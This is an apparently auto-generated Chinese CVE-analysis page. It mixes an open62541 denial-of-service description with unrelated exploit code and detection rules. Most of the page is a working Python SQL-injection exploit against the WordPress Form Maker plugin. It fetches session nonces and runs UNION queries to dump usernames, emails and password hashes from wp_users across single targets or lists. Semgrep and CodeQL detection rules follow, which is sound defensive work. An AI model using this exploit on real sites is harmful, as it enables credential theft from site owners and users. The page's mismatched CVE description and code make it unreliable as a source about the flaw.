🎯 CVE-2026-3359 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2026-3359 深度技术分析
📊 聚合 2 来源🧪 含 PoC🕵️ 含指纹
NVD-LatestPoC-in-GitHub
CVE-2026-3359 深度技术分析:open62541 FindServers 服务内存耗尽漏洞
摘要:CVE-2026-3359 在 NVD 中的官方描述指向 open62541 的 FindServers Discovery Service 拒绝服务漏洞。攻击者无需认证,即可通过构造超大 serverUris 字段并利用 OPC UA 分块传输机制,将服务器内存耗尽,CVSS 评分为 7.5。然而在配套威胁情报中,所展示的 PoC 仓库和 Semgrep 检测规则
🧪 PoC 代码(GitHub 实际仓库)
### 文件: cve-2026-3359.py
```
import requests
from sys import argv
from bs4 import BeautifulSoup
from termcolor import colored
import json
import re
def main():
print(colored("""░▒█▀▀▄░▒█░░▒█░▒█▀▀▀░░░░█▀█░█▀▀█░█▀█░▄▀▀▄░░░░█▀▀█░█▀▀█░█▀▀░▄▀▀▄
░▒█░░░░░▒█▒█░░▒█▀▀▀░▀▀░▒▄▀░█▄▀█░▒▄▀░█▄▄░░▀▀░░▒▀▄░░▒▀▄░▀▀▄░▀▄▄█
░▒█▄▄▀░░░▀▄▀░░▒█▄▄▄░░░░█▄▄░█▄▄█░█▄▄░▀▄▄▀░░░░█▄▄█░█▄▄█░▄▄▀░░▄▄▀
""",
"magenta"))
argsDict = {"list": "","url": "","fm_cookie": "","ajaxnonce": "","queryPoC": False,"queryUsers": False
}if len(argv) <= 1 or "-h" in argv:
print("Usage: python3 cve-2026-3359.py -u http://localhost -poc/-qu\n\n")
print("-u |Argument that should contain the URL to the target server (e.g: -u http://blahblah.com )\n\n")
print("-poc |
Argument to send a PoC SQL query that should make the target server return \"1\"if vulnerable\n\n")
print("-qu |The 'query users' argument. When set will attempt to retrieve all user info within the wp_users table by an SQL query\n\n" )
return 1
for i in range(1,
len(argv)):
if argv[i] == "-l":
argsDict["list"] = argv[i + 1]
if argv[i] == "-u" and argsDict["list"] == "":
argsDict["url"] = argv[i + 1]
argsDict["fm_cookie"] = retrieveCookie(argsDict["url"])
argsDict["ajaxnonce"] = retrieveNonce(argsDict["url"])
if argv[i] == "-n":
argsDict["ajaxnonce"] = argv[i + 1]
if argv[i] == "-poc":
argsDict["queryPoC"] = True
if argv[i] == "-qu":
argsDict["queryUsers"] = True
queryArgsCase(argsDict)
def queryArgsCase(argsDict):
if argsDict["list"] != "" and argsDict["queryPoC"] == True:
with open(argsDict["list"],
"r") as l:
lines = l.readlines()
for line in lines:
poc(retrieveCookie(line.strip()),retrieveNonce(line.strip()),line.strip())
l.close()
if argsDict["list"] != "" and argsDict["queryUsers"] == True:
with open(argsDict["list"],"r") as l:
lines = l.readlines()
for line in lines:
queryUsers(retrieveCookie(line.strip()),retrieveNonce(line.strip()),
line.strip())
l.close()
if argsDict["url"] != "" and argsDict["queryPoC"] == True:
poc(argsDict["fm_cookie"],argsDict["ajaxnonce"],argsDict["url"])
elif argsDict["url"] == "" and argsDict["list"] == "":
print("A URL is needed to run this exploit!")
return 1
if argsDict["url"] != "" and argsDict["queryUsers"] == True:
queryUsers(argsDict["fm_cookie"],
argsDict["ajaxnonce"],argsDict["url"])
def retrieveCookie(url):
req = requests.get("{}".format(url))
#print(req.cookies.items())
for i in range(0,len(req.cookies.items())):
#print(list(req.cookies.items()[i]))
if re.findall(r"[fm_cookie_]",list(req.cookies.items()[i])[0]):
cookieDict = {"{}".format(req.cookies.items()[0][0]):"{}".format(req.cookies.items()[0][1])}
return cookieDict
return None
def retrieveNonce(url):
req = requests.get("{}".format(url))
reqParser = BeautifulSoup(req.content,"html.parser")
ajaxVars = reqParser.find_all("script",
string=lambda text: 'ajaxnonce' in text)
try:
ajaxNonce = json.loads(ajaxVars[0].text.split(";")[1].split("=")[1])["ajaxnonce"]
except IndexError:
return -1
return ajaxNonce
def queryUsers(cookie,nonce,
url):
print("Target: {}".format(url))
print(colored("Current query sent: SELECT `user_login` FROM wp_users UNION SELECT `user_email` FROM wp_users UNION SELECT `user_pass` FROM wp_users-- ORDER BY","red"))
pocHeaders = {"Accept": "application/json,text/javascript,*/*;q=0.01","Content-Type": "application/x-www-form-urlencoded;charset=UTF-8","Cookie": "{}".format(cookie)
}pocBody = {
"nonce": "{}".format(nonce),"action": "fm_reload_input","page": "form_maker","form_id": "6",
"inputs[2|type_checkbox|all]": "*:*w_field_label_size*:**:*w_field_label_pos*:**:*w_field_option_pos*:**:*w_hide_label*:**:*w_flow*:*[wp_users UNION SELECT `user_email` FROM wp_users UNION SELECT `user_pass` FROM wp_users--]:[test2]*:*w_choices*:**:*w_choices_checked*:**:*w_rowcol*:**:*w_limit_choice*:**:*w_limit_choice_alert*:**:*w_required*:**:*w_randomize*:**:*w_allow_other*:**:*w_allow_other_num*:**:*w_value_disabled*:**:*w_use_for_submission*:*[test_db_info]:[user_login]*:*w_choices_value*:*[where_order_by];[db_info]*:*w_choices_params*:*"
}
req = requests.post("{}/wp-admin/admin-ajax.php".format(url),headers=pocHeaders,data=pocBody)
try:
reqResponse = json.loads(req.content)
except ValueError:
print("Server not vulnerable!")
return -1
try:
htmlResponse = BeautifulSoup(reqResponse["2"]["html"],
"html.parser")
except TypeError:
print("Server is not vulnerable!")
return -1
inputsQuery = htmlResponse.find_all("input",attrs={"value": True,"type": "checkbox"})
if inputsQuery[0]["value"] == "":
print(colored("Current server does not seem vulnerable","magenta"))
return 1
else:
for i in range(0,len(inputsQuery)):
print(inputsQuery[i]["value"])
def poc(cookie,
nonce,url):
print("Current target: {}".format(url))
print(colored("Current query sent: SELECT `1` FROM (SELECT `1` as 1) as t-- ORDER BY","red"))
pocHeaders = {"Accept": "application/json,text/javascript,*/*;q=0.01","Content-Type": "application/x-www-form-urlencoded;charset=UTF-8","Cookie": "{}".format(cookie)
}pocBody = {"nonce": "{}".format(nonce),"action": "fm_reload_input",
"page": "form_maker","form_id": "6",
"inputs[2|type_checkbox|all]": "*:*w_field_label_size*:**:*w_field_label_pos*:**:*w_field_option_pos*:**:*w_hide_label*:**:*w_flow*:*[(SELECT 1 AS `1`) AS t--]:[test2]*:*w_choices*:**:*w_choices_checked*:**:*w_rowcol*:**:*w_limit_choice*:**:*w_limit_choice_alert*:**:*w_required*:**:*w_randomize*:**:*w_allow_other*:**:*w_allow_other_num*:**:*w_value_disabled*:**:*w_use_for_submission*:*[test_db_info]:[1]*:*w_choices_value*:*[where_order_by]ASC;[db_info]*:*w_choices_params*:*"
}
req = requests.post("{}/wp-admin/admin-ajax.php".format(url),headers=pocHeaders,data=pocBody)
try:
reqResponse = json.loads(req.content)
except ValueError:
print("Server not vulnerable!")
return -1
try:
htmlResponse = BeautifulSoup(reqResponse["2"]["html"],
"html.parser")
except TypeError:
print("Server is not vulnerable!")
return -1
inputsQuery = htmlResponse.find_all("input",attrs={"value": True,"type": "checkbox"})
if inputsQuery[0]["value"] == "1":
print(colored("VULNERABLE TO CVE-2026-3359 SQL INJECTION","red"))
else:
print(colored("Current server does not seem vulnerable","magenta"))
for i in range(0,
len(inputsQuery)):
print(inputsQuery[i]["value"])
if __name__ == '__main__':
main()
```🕵️ 检测指纹规则
🛡️ Semgrep 审计规则: CVE-2026-3359.yaml
rules:
- id: CVE-2026-3359-sqli-php
languages:
- php
severity: ERROR
message: >-
Potential SQL injection in Form Maker plugin via 'inputs' parameter. The
user-supplied parameter is not properly escaped and the SQL query lacks
sufficient preparation.
patterns:
- pattern-inside: |function process_form_entries($params) {... }
- pattern: $wpdb->query("INSERT INTO ... VALUES (... '$inputs' ...)")
fix: "$wpdb->prepare(\"INSERT INTO ... VALUES (... %s ...)\",$inputs)"
metadata:
cwe: "CWE-89"
owasp: "A1: Injection"
technology: wordpress
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-3359🛡️ CodeQL 审计规则: CVE-2026-3359.ql
/**
* @kind path-problem
* @id php/sql-injection/cve-2026-3359
* @name SQL Injection in Form Maker plugin via 'inputs' parameter
* @description The Form Maker by 10Web plugin for WordPress is vulnerable to SQL injection via the 'inputs' parameter,
allowing unauthenticated attackers to extract sensitive information.
* @problem.severity error
* @tags security
* external/cwe/cwe-089
*/
import php
import semmle.code.php.security.SQLInjection
class FormMakerInputConfig extends TaintTracking::Configuration {FormMakerInputConfig() {this = "FormMakerInputConfig" }override predicate isSource(DataFlow::Node source) {
exists(SuperGlobalVariable sg |sg = source.asExpr().(VariableAccess).getVariable() and
sg.getName() = "$_POST" or
sg.getName() = "$_GET" or
sg.getName() = "$_REQUEST"
)
}override predicate isSink(DataFlow::Node sink) {exists(MethodAccess ma,string methodName |
ma.getMethod().hasName(methodName) and
(methodName = "query" or methodName = "prepare" or methodName = "execute") and
sink.asExpr() = ma.getArgument(0)
)
}override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {// Tracks the 'inputs' parameter specifically
exists(ArrayAccess aa |
aa.getArray() = node1.asExpr() and
aa.getIndex().(StringLiteral).getValue() = "inputs" and
node2.asExpr() = aa
)
}}from DataFlow::Node source,DataFlow::Node sink,FormMakerInputConfig config
where config.hasFlow(source,sink)
select sink,"SQL injection via 'inputs' parameter from $@",source,"user input"🤖 本文由漏洞情报系统自动聚合生成 · 2026-07-31 18:57 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库